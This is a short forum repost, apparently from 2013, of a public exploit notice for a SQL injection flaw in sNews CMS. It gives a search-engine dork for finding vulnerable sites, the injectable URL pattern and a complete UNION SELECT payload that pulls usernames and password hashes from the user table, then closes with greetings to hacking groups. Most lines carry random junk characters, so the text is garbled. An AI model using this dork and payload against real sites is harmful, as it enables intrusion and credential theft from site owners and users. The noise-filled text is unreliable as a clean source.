标题: CMS snews SQL Injection Vulnerability/ c S7 ]) s! J7 i: l% m5 x& }
作者: By onestree1 |( {4 v' I9 k+ f Y' f
下载地址 : http://snewscms.com/- j- ]' @- ]/ }1 e' F, Q
测试平台 : ubuntu 12.10 / win 7" X, x- D: l. e5 r' _( J H
关键词: inurl:"tanyakan pada rumput yang bergoyang"& }# n% B& y5 H' w1 o. [/ Q7 \
3 H# E6 }' n( ~4 W& k3 d$ `
" I/ y# k2 P/ Y
*************************************************************
5 }! U* q9 _! F* T& N
. M7 P3 P$ x4 X3 bSQL poc:) [+ p2 X, M! ]( W
: o# V7 x- d! x2 L. K+ x
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
8 V( B6 _0 K( M; y 2 X% S% ]. H+ V0 O
示例
- L7 _) y( [! g: D' M! J5 k + U& t: v) z/ C! H" X4 V
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*# f5 R) B/ c: @5 q. y
- ?# M, J4 \3 J# |1 G3 {6 ] w
7 m$ ~$ m/ n, T+ z4 n, v, c' ~9 d5 O0 M! T
致谢:
* u4 M6 J: F* N) Q1 C0 a
A' i- B' v0 _. B% e G9 F: h1 u' L Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell$ ]) F& T7 p: V/ V
' |9 d/ ^. a4 f& V9 n# f1 N indonesiancoder - moeslimh4x0r - go-coder
2 w% G8 R: |3 R6 Q/ _( A" b8 ` % V# V* @5 U7 G2 c1 L$ n
spesial my hunny :*
2 w% o) |3 Z- `1 u0 q$ l |
发表于 2013-1-23 08:55:06
收藏
支持
反对